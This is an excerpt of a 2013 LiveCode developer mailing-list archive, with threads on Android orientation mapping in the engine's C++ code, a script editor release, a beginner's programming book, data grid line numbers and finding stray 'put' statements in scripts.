Wieder wrote: > > > Return key on OSX now compiles script, Enter enters a newline > > shouldn't that be the other way around? this is the reverse of the IDE > editor... Now I have to go look at the code again. Maybe I just documented it the wrong way around. I'm not sitting at my Mac at the moment... -- Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Fri May 3 16:36:19 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 03 May 2013 15:36:19 -0500 Subject: Cheapjack development for Windows In-Reply-To: <7FC9145C-4701-462F-B7D1-48297E12C024@paulmaguire.me> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> <518392AB.2070200@gmail.com> <7FC9145C-4701-462F-B7D1-48297E12C024@paulmaguire.me> Message-ID: <51841FC3.8020906@hyperactivesw.com> On 5/3/13 3:23 PM, Paul Maguire wrote: >> If you want to eat cake with guillotined shadows don't mind me. > > Now this has to be the most interesting phrase I've read in some > time. I have no real idea what it means as such, but it exhibits such > poesis... I like you already, welcome to the list. You will find that Richmond is our combination humorist/troller and eventually you will come to appreciate his brand of twisty thoughts. He has been more rude this week than usual, but not as rude as he can be when really riled. He is able to turn a phrase with aplomb, though sometimes those phrases are in undecipherable dialects. He does good deeds for deserving children in obscure countries but he complains about it some. He looks good in a kilt, by the way, even though he says he needs new socks. Richmond, cheer up, or as Monte Python says, we'll hang you by the neck until you do. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From capellan2000 at gmail.com Fri May 3 16:53:15 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 3 May 2013 13:53:15 -0700 (PDT) Subject: Storing a control in a custom property In-Reply-To: References: <1367342080075-4664053.post@n4.nabble.com> <1367344177184-4664057.post@n4.nabble.com> Message-ID: <1367614395053-4664234.post@n4.nabble.com> Hi All, After reading this thread, I just keep wondering if this particular tidbit was published before. (and where?) This thread is a useful reminder (at least for me) that I don't really know every nook and cranny of this development platform. Alejandro -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Storing-a-control-in-a-custom-property-tp4664040p4664234.html Sent from the Revolution - User mailing list archive at Nabble.com. From monte at sweattechnologies.com Fri May 3 17:15:48 2013 From: monte at sweattechnologies.com (monte at sweattechnologies.com) Date: Fri, 3 May 2013 23:15:48 +0200 Subject: Mobile (Android) orientations In-Reply-To: <1CD1B2C8-108E-455E-B628-D2D047152E2D@sweattechnologies.com> References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> <5183B285.5080901@braguglia.ch> <1CD1B2C8-108E-455E-B628-D2D047152E2D@sweattechnologies.com> Message-ID: > I'll try and poke around the engine to find this. If it doesn't work the > way I said I might submit a pull request to make it do that because it > makes sense... Here's the relevant code from the engine. As you can see it will match the first device line it can to the device then the first subsequent orientation_map line will be applied so you can have multiple device lines and a single orientation_map line. for (uint32_t i = 0; i < t_line_count; i++) { // check for CRLF line endings uint32_t t_line_length = MCCStringLength(t_lines[i]); if (t_line_length > 0 && t_lines[i][t_line_length - 1] == '\r') t_lines[i][t_line_length - 1] = '\0'; if (MCCStringBeginsWith(t_lines[i], "device=")) { t_this_device = (MCAndroidSignatureMatch(t_lines[i] + 7)); } else if (t_this_device) { if (MCCStringBeginsWith(t_lines[i], "orientation_map=")) { if (MCAndroidSetOrientationMap(s_device_configuration.orientation_map, t_lines[i] + 16)) s_device_configuration.have_orientation_map = true; } } } From alex at tweedly.net Fri May 3 18:19:28 2013 From: alex at tweedly.net (Alex Tweedly) Date: Fri, 03 May 2013 23:19:28 +0100 Subject: Mobile (Android) orientations In-Reply-To: References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> <5183B285.5080901@braguglia.ch> <1CD1B2C8-108E-455E-B628-D2D047152E2D@sweattechnologies.com> Message-ID: <518437F0.8070005@tweedly.net> OK, I know it's been a while since I looked seriously at C or C++ code, but ..... it looks to me as though this loops through all the lines in the array when it finds a matching device it sets t_this_device to (presumably) true if it gets an orientation_map line and t_this_device is true, then it uses the orient map BUT it never exits the repeat loop early and it never resets t_this_device So doesn't this (wrongly) use every subsequent orientation map ? or does MCAndroidSetOrientationMap check if the map is already set, and do nothing ? In which case, it's merely inefficient. not actually wrong. Sigh. Must be time to figure out how to get a full copy of the source and revive those old memories. -- Alex. On 03/05/2013 22:15, monte at sweattechnologies.com wrote: >> I'll try and poke around the engine to find this. If it doesn't work the >> way I said I might submit a pull request to make it do that because it >> makes sense... > Here's the relevant code from the engine. As you can see it will match the > first device line it can to the device then the first subsequent > orientation_map line will be applied so you can have multiple device lines > and a single orientation_map line. > > for (uint32_t i = 0; i < t_line_count; i++) > { > // check for CRLF line endings > uint32_t t_line_length = MCCStringLength(t_lines[i]); > if (t_line_length > 0 && t_lines[i][t_line_length - 1] == '\r') > t_lines[i][t_line_length - 1] = '\0'; > > if (MCCStringBeginsWith(t_lines[i], "device=")) > { > t_this_device = (MCAndroidSignatureMatch(t_lines[i] + 7)); > } > else if (t_this_device) > { > if (MCCStringBeginsWith(t_lines[i], "orientation_map=")) > { > if > (MCAndroidSetOrientationMap(s_device_configuration.orientation_map, > t_lines[i] + 16)) > s_device_configuration.have_orientation_map = true; > } > } > } > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Fri May 3 18:26:19 2013 From: alex at tweedly.net (Alex Tweedly) Date: Fri, 03 May 2013 23:26:19 +0100 Subject: Mobile (Android) orientations In-Reply-To: References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> Message-ID: <5184398B.8080006@tweedly.net> On 03/05/2013 13:40, Monte Goulding wrote: > On 03/05/2013, at 10:25 PM, Guglielmo Braguglia wrote: > >> - KFOT = Kindle Fire >> - KFTT = Kindle Fire HD 7" >> - WFJWI = Kindle Fire HD 8.9" Wi-Fi >> - WFJWA = Kindle Fire HD 8.9" WAN > I haven't done much LC android work.. only Java. The file format seems poorly documented. Can I have a file like this: > > device=Amazon|KFOT||| > device=Amazon|KFTT||| > device=Amazon|WFJWI||| > device=Amazon|WFJWA||| > orientation_map=0,90 > > Or do I need an orientation_map line for each device line? Like I said before I really think a single community managed file for this would save some headaches... it could be dropped into either the IDE or engine repo... probably engine seeing as it's accepting pull requests. > > Do you need to ? Wouldn't it be enough to do device=Amazon|||| orientation_map=0,90 Or are there other Amazon devices which don't have that same orientation ? And more fundamentally - isn't this a broken model to start with ? Any Android app which tries to use orientation needs to contain (built into its apk file) info about any possible (non-standard) device ? So if a new non-standard device is released, you need to build/release a new version of the app, or else the app will misbehave on this new device ? (And yes, this would be a great opportunity for a community managed file, if that reduces the explosion of releases needed as the app author finds out about each new device.) Call me "Confused of Edinburgh", -- Alex. From monte at sweattechnologies.com Fri May 3 18:33:05 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sat, 4 May 2013 08:33:05 +1000 Subject: Mobile (Android) orientations In-Reply-To: <518437F0.8070005@tweedly.net> References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> <5183B285.5080901@braguglia.ch> <1CD1B2C8-108E-455E-B628-D2D047152E2D@sweattechnologies.com> <518437F0.8070005@tweedly.net> Message-ID: <6E26F63F-5C9F-436C-99E0-0A81918CC6FE@sweattechnologies.com> > BUT > it never exits the repeat loop early > and > it never resets t_this_device > I think the idea is RunRev have a default file (which I can't find in the runtime folder) and prefix it to the user's file so that the user's file overrides RunRevs -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From monte at sweattechnologies.com Fri May 3 18:39:58 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sat, 4 May 2013 08:39:58 +1000 Subject: Mobile (Android) orientations In-Reply-To: <5184398B.8080006@tweedly.net> References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> <5184398B.8080006@tweedly.net> Message-ID: <0F308AD5-1017-4B71-BA47-ED65DDFED937@sweattechnologies.com> On 04/05/2013, at 8:26 AM, Alex Tweedly wrote: > Do you need to ? Wouldn't it be enough to do > device=Amazon|||| > orientation_map=0,90 > > Or are there other Amazon devices which don't have that same orientation ? I don't know... I guess we would need to physically have each device in our hands to work it out. > > And more fundamentally - isn't this a broken model to start with ? > Any Android app which tries to use orientation needs to contain (built into its apk file) info about any possible (non-standard) device ? > So if a new non-standard device is released, you need to build/release a new version of the app, or else the app will misbehave on this new device ? Yeah... I presume there was no choice but.... I'm not really sure why the LC activity isn't dealing with orientation in the onConfigurationChanged method... I'll ask on the engine forum. > > (And yes, this would be a great opportunity for a community managed file, if that reduces the explosion of releases needed as the app author finds out about each new device.) Yep... that's what I'm sugguesting -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From mwieder at ahsoftware.net Fri May 3 21:02:11 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 3 May 2013 18:02:11 -0700 Subject: Cheapjack development for Windows In-Reply-To: <51841FC3.8020906@hyperactivesw.com> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> <518392AB.2070200@gmail.com> <7FC9145C-4701-462F-B7D1-48297E12C024@paulmaguire.me> <51841FC3.8020906@hyperactivesw.com> Message-ID: <49504815018.20130503180211@ahsoftware.net> Jacque- Friday, May 3, 2013, 1:36:19 PM, you wrote: > Richmond, cheer up, or as Monte Python says, we'll hang you by the neck > until you do. Richmond actually has quite good reasons to be in a sour mood this week, thanks to Ubuntu eating his homework. Hopefully things will be sheep-shape soon. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Fri May 3 21:14:20 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 3 May 2013 18:14:20 -0700 Subject: ANN GLX2 Script Editor 3.0.14 In-Reply-To: References: Message-ID: <192505544571.20130503181420@ahsoftware.net> Stephen- > stephen barncard writes: >> >> On Fri, May 3, 2013 at 11:34 AM, Mark Wieder wrote: >> >> > Return key on OSX now compiles script, Enter enters a newline >> >> shouldn't that be the other way around? this is the reverse of the IDE >> editor... > Now I have to go look at the code again. Maybe I just documented > it the wrong way around. I'm not sitting at my Mac at the moment... Yep. I just documented it wrong. The code is correct. Whew! -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Fri May 3 21:16:04 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 03 May 2013 20:16:04 -0500 Subject: Cheapjack development for Windows In-Reply-To: <49504815018.20130503180211@ahsoftware.net> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> <518392AB.2070200@gmail.com> <7FC9145C-4701-462F-B7D1-48297E12C024@paulmaguire.me> <51841FC3.8020906@hyperactivesw.com> <49504815018.20130503180211@ahsoftware.net> Message-ID: <51846154.1020406@hyperactivesw.com> On 5/3/13 8:02 PM, Mark Wieder wrote: > Jacque- > > Friday, May 3, 2013, 1:36:19 PM, you wrote: > >> Richmond, cheer up, or as Monte Python says, we'll hang you by the neck >> until you do. > > Richmond actually has quite good reasons to be in a sour mood this > week, thanks to Ubuntu eating his homework. Hopefully things will be > sheep-shape soon. > Oh dear. In that case he's relatively chipper. Maybe we should only waterboard him a little bit instead. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From monte at sweattechnologies.com Fri May 3 21:18:07 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sat, 4 May 2013 11:18:07 +1000 Subject: Mobile (Android) orientations In-Reply-To: <0F308AD5-1017-4B71-BA47-ED65DDFED937@sweattechnologies.com> References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> <5184398B.8080006@tweedly.net> <0F308AD5-1017-4B71-BA47-ED65DDFED937@sweattechnologies.com> Message-ID: On 04/05/2013, at 8:39 AM, Monte Goulding wrote: > Yeah... I presume there was no choice but.... I'm not really sure why the LC activity isn't dealing with orientation in the onConfigurationChanged method... I'll ask on the engine forum. I'm chasing this up here: http://forums.runrev.com/viewtopic.php?f=66&t=15027 -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From slylabs13 at me.com Fri May 3 23:10:46 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Fri, 03 May 2013 20:10:46 -0700 Subject: ANN GLX2 Script Editor 3.0.14 In-Reply-To: References: Message-ID: <764DB910-4950-41CB-9940-AFF6DE621086@me.com> That has to be the best disclaimer in the history of... Well... Disclaimers. Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 3, 2013, at 11:34, Mark Wieder wrote: > Some custom properties have been > deprecated, and they may resurrect themselves if they're in a > previously-existing preferences file and cause undefined behavior. From m.schonewille at economy-x-talk.com Sat May 4 13:10:42 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 04 May 2013 19:10:42 +0200 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> Message-ID: <51854112.9040002@economy-x-talk.com> Hi, Thank you, everyone, for the nice on- and off-list wishes. I feel really supported and am happy with the great, welcoming response. I sent the book to the printing company three days ago and am now waiting for delivery. We expect to have the books in the office between 10 and 14 May. We'll start shipping the books as soon as they arrive. I will also try to ship books to the conference in Scotland, but it is going to be extremely tight. Now that the book is ready, I can tell you a little about the last changes I made. I removed the table of MySQL field types in the appendix, because that isn't really the subject of the book. Instead, I added a much longer table with all specialfolderpath codes available on Mac OS X and Mac OS 9 (Classic). A table for Windows was included already. I thought these tables would be more useful. I might post the MySQL table on the website of the book later. The website hasn't been set up yet, but will include a place to discuss the book with other readers and I might give an explanation occasionally. There have been many questions about an ebook edition. There are no plans to publish an ebook. We decided that DRM systems are insufficient. We don't want people to get the book for free, because that would mean there won't be a second edition, not to mention a completely new book. Please, don't ask for an ebook anymore. For the same reason, the book won't be released under a free license. If you would like to make suggestions (perhaps for a second edition), please be specific. For example, if you propose a screenshot, tell me on which page, accompanying which lines, why you think it is a good idea, what it would explain, and what you would delete to make space for the screenshot. I'm getting too many well-meant but useless suggestions. I can now also announce the ISBN of the book: 978-90-820741-0-9. With this number, anyone is able to order the book at a book shop, but it is much quicker and possibly cheaper to order it directly from Economy-x-Talk's website. More trivia: the final version of the book has 248 pages, three prefaces, a table of contents of 6 pages and an alphabetical index of 9 pages. There are 17 pictures and 15 tables, some tiny and some big. I really had to squeeze in all the info, because the book wasn't supposed to count more than 240 pages (you get 8 pages for free). Sales are going very well. The printing costs have been earned back already, but a few other things like envelopes and stamps and the ink I used to print my drafts still have to be paid for. Therefore, if you know someone who considers taking up programming either as a professional or for a hobby, tell him or her about my book. We'll need to sell quite a few more copies to make it worth the effort. Obviously, I'm never going to be compensated for my time, but that wasn't the point anyway. I'll let you know when I have more news. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 4/26/2013 23:14, william humphrey wrote: > I just bought the print version. Maybe when an eBook is released it will be > included or discounted. > > From bill at bluewatermaritime.com Sat May 4 16:05:58 2013 From: bill at bluewatermaritime.com (william humphrey) Date: Sat, 4 May 2013 16:05:58 -0400 Subject: Finding orphaned "put" Message-ID: I remember reading somewhere that version 6.0 or maybe GLX2 script editor has a way to find an orphaned "put". Anybody have any suggestions? If I search for every "put" in my 6500 lines of code it will take a while and my eyes will go blurry reading each one to check if it is putting to the message box or not. Maybe there would be a way to "turn off" having a PUT go right to the message box unless you say "put variable in the message box"? From abilitybf at att.net Sat May 4 16:08:30 2013 From: abilitybf at att.net (Joe Hamburger) Date: Sat, 4 May 2013 13:08:30 -0700 (PDT) Subject: Data Grid Question In-Reply-To: <51854112.9040002@economy-x-talk.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> Message-ID: <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> Hi, Is it possible to have a column in a data grid that doesn't change when the other columns are sorted? What I'm trying to do is create a ranking system of my accounts. The first column is the rank number so I want that to be constant and not sortable. I still want to scroll that column with the others so I know the rank number of a line. Hopefully, there's a way to show the line numbers in a column? Thanks in advance for your help. Joe Ability Business Forms Orlando, FL USA From slylabs13 at me.com Sat May 4 16:13:08 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Sat, 04 May 2013 13:13:08 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: Off the top of my head, put the script into a variable. Filter with "put*". Filter without "into". Not sure what you mean by orphaned. Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 4, 2013, at 13:05, william humphrey wrote: > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > has a way to find an orphaned "put". Anybody have any suggestions? If I > search for every "put" in my 6500 lines of code it will take a while and my > eyes will go blurry reading each one to check if it is putting to the > message box or not. Maybe there would be a way to "turn off" having a PUT > go right to the message box unless you say "put variable in the message > box"? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From slylabs13 at me.com Sat May 4 16:14:39 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Sat, 04 May 2013 13:14:39 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: Off the top of my head, put the script into a variable. Filter with "put*". Filter without "into". Not sure what you mean by orphaned. Erm... Without "*into*" Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 4, 2013, at 13:05, william humphrey wrote: > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > has a way to find an orphaned "put". Anybody have any suggestions? If I > search for every "put" in my 6500 lines of code it will take a while and my > eyes will go blurry reading each one to check if it is putting to the > message box or not. Maybe there would be a way to "turn off" having a PUT > go right to the message box unless you say "put variable in the message > box"? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bill at bluewatermaritime.com Sat May 4 16:15:47 2013 From: bill at bluewatermaritime.com (william humphrey) Date: Sat, 4 May 2013 16:15:47 -0400 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: I have many lines of script which say "put something into variable" I have one line of script which just says "put variable" - what that does is open the message box. I'd like to find that line of script and delete it. Could I really put 6000 lines of script in a variable? But you have given me an idea. Maybe I can solve it in BBedit. On Sat, May 4, 2013 at 4:13 PM, Robert Sneidar wrote: > Off the top of my head, put the script into a variable. Filter with > "put*". Filter without "into". Not sure what you mean by orphaned. > > Bob Sneidar > IT Manager > Calvary Chapel CM > Sent from iPhone > > On May 4, 2013, at 13:05, william humphrey > wrote: > > > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > > has a way to find an orphaned "put". Anybody have any suggestions? If I > > search for every "put" in my 6500 lines of code it will take a while and > my > > eyes will go blurry reading each one to check if it is putting to the > > message box or not. Maybe there would be a way to "turn off" having a PUT > > go right to the message box unless you say "put variable in the message > > box"? > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.bluewatermaritime.com From dochawk at gmail.com Sat May 4 16:15:47 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sat, 4 May 2013 13:15:47 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: References: Message-ID: And the answer . . . On Thu, May 2, 2013 at 5:33 PM, Dr. Hawkins wrote: > Just as I thought I had things under control . . . > BEGIN TRANSACTION; > CREATE TABLE blah bla blah; > ALTER TABLE blah OWNER TO dhbk; > COMMIT; It seems that this block of code needs to be placed somewhere where it actually executes rather than in the sqlite branch of my switch. Imagine that . . . This works to change it. (But now I can't get "SET ROLE" to work so that I can delete the table as a regular user!) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From m.schonewille at economy-x-talk.com Sat May 4 16:17:00 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 4 May 2013 22:17:00 +0200 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: <5FDCCC7F-9EEE-4345-B0BB-B55288B500DC@economy-x-talk.com> William, Write a repeat loop that loops through all stacks, cards and their controls and checks all scripts for a line that contains put but not into. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for a quote. On 4 mei 2013, at 22:05, william humphrey wrote: > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > has a way to find an orphaned "put". Anybody have any suggestions? If I > search for every "put" in my 6500 lines of code it will take a while and my > eyes will go blurry reading each one to check if it is putting to the > message box or not. Maybe there would be a way to "turn off" having a PUT > go right to the message box unless you say "put variable in the message > box"? From slylabs13 at me.com Sat May 4 16:17:30 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Sat, 04 May 2013 13:17:30 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> Off the top of my head, put the script into a variable. Filter with "put*". Filter without "into". Not sure what you mean by orphaned. Erm... Without "*into*" Now that I think of it prolly have to filter for "*put*". Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 4, 2013, at 13:05, william humphrey wrote: > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > has a way to find an orphaned "put". Anybody have any suggestions? If I > search for every "put" in my 6500 lines of code it will take a while and my > eyes will go blurry reading each one to check if it is putting to the > message box or not. Maybe there would be a way to "turn off" having a PUT > go right to the message box unless you say "put variable in the message > box"? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bill at bluewatermaritime.com Sat May 4 16:20:07 2013 From: bill at bluewatermaritime.com (william humphrey) Date: Sat, 4 May 2013 16:20:07 -0400 Subject: Finding orphaned "put" In-Reply-To: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> Message-ID: 2335 lines have the word "put". I haven't figured out how to tell BBedit to find just before a "return" and without the word "into". On Sat, May 4, 2013 at 4:17 PM, Robert Sneidar wrote: > Off the top of my head, put the script into a variable. Filter with > "put*". Filter without "into". Not sure what you mean by orphaned. > > Erm... Without "*into*" > > Now that I think of it prolly have to filter for "*put*". > > Bob Sneidar > IT Manager > Calvary Chapel CM > Sent from iPhone > > On May 4, 2013, at 13:05, william humphrey > wrote: > > > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > > has a way to find an orphaned "put". Anybody have any suggestions? If I > > search for every "put" in my 6500 lines of code it will take a while and > my > > eyes will go blurry reading each one to check if it is putting to the > > message box or not. Maybe there would be a way to "turn off" having a PUT > > go right to the message box unless you say "put variable in the message > > box"? > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.bluewatermaritime.com From bonnmike at gmail.com Sat May 4 16:20:16 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 4 May 2013 14:20:16 -0600 Subject: Data Grid Question In-Reply-To: <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> Message-ID: Look here... http://lessons.runrev.com/s/lessons/m/datagrid/l/7329-how-do-i-display-line-numbers-in-a-table On Sat, May 4, 2013 at 2:08 PM, Joe Hamburger wrote: > Hi, > > Is it possible to have a column in a data grid that doesn't change when the > other columns are sorted? What I'm trying to do is create a ranking system > of my > accounts. The first column is the rank number so I want that to be > constant and > not sortable. I still want to scroll that column with the others so I know > the > rank number of a line. Hopefully, there's a way to show the line numbers > in a > column? > > Thanks in advance for your help. > > Joe > Ability Business Forms > Orlando, FL USA > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bill at bluewatermaritime.com Sat May 4 16:35:26 2013 From: bill at bluewatermaritime.com (william humphrey) Date: Sat, 4 May 2013 16:35:26 -0400 Subject: Finding orphaned "put" In-Reply-To: References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> Message-ID: Grep is way to difficult to use for this. And it isn't just "into" it's also "after". I'm back to wishing there was a way to turn off the message box feature of being called without explicitly calling it. It is truly evil. On Sat, May 4, 2013 at 4:20 PM, william humphrey wrote: > 2335 lines have the word "put". I haven't figured out how to tell BBedit > to find just before a "return" and without the word "into". > > > On Sat, May 4, 2013 at 4:17 PM, Robert Sneidar wrote: > >> Off the top of my head, put the script into a variable. Filter with >> "put*". Filter without "into". Not sure what you mean by orphaned. >> >> Erm... Without "*into*" >> >> Now that I think of it prolly have to filter for "*put*". >> >> Bob Sneidar >> IT Manager >> Calvary Chapel CM >> Sent from iPhone >> >> On May 4, 2013, at 13:05, william humphrey >> wrote: >> >> > I remember reading somewhere that version 6.0 or maybe GLX2 script >> editor >> > has a way to find an orphaned "put". Anybody have any suggestions? If I >> > search for every "put" in my 6500 lines of code it will take a while >> and my >> > eyes will go blurry reading each one to check if it is putting to the >> > message box or not. Maybe there would be a way to "turn off" having a >> PUT >> > go right to the message box unless you say "put variable in the message >> > box"? >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > http://www.bluewatermaritime.com -- http://www.bluewatermaritime.com From slylabs13 at me.com Sat May 4 17:01:27 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Sat, 04 May 2013 14:01:27 -0700 Subject: Finding orphaned "put" In-Reply-To: References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> Message-ID: You should be able to do this in lc. Put the script of into -- repeat loop to put the line number of each line before eeach line in the variable Filter with "*put*" Filter without "*into*" Put a loop around it for every object in you project and build a list of objects and line numbers. Sorry I'm doing this on an iPhone and its tedious but it all works in my mind. Besides, I've had 3 beers so it should work! Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 4, 2013, at 13:20, william humphrey wrote: > 2335 lines have the word "put". I haven't figured out how to tell BBedit to > find just before a "return" and without the word "into". > > On Sat, May 4, 2013 at 4:17 PM, Robert Sneidar wrote: > >> Off the top of my head, put the script into a variable. Filter with >> "put*". Filter without "into". Not sure what you mean by orphaned. >> >> Erm... Without "*into*" >> >> Now that I think of it prolly have to filter for "*put*". >> >> Bob Sneidar >> IT Manager >> Calvary Chapel CM >> Sent from iPhone >> >> On May 4, 2013, at 13:05, william humphrey >> wrote: >> >>> I remember reading somewhere that version 6.0 or maybe GLX2 script editor >>> has a way to find an orphaned "put". Anybody have any suggestions? If I >>> search for every "put" in my 6500 lines of code it will take a while and >> my >>> eyes will go blurry reading each one to check if it is putting to the >>> message box or not. Maybe there would be a way to "turn off" having a PUT >>> go right to the message box unless you say "put variable in the message >>> box"? >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > -- > http://www.bluewatermaritime.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Sat May 4 17:19:02 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sat, 4 May 2013 14:19:02 -0700 Subject: 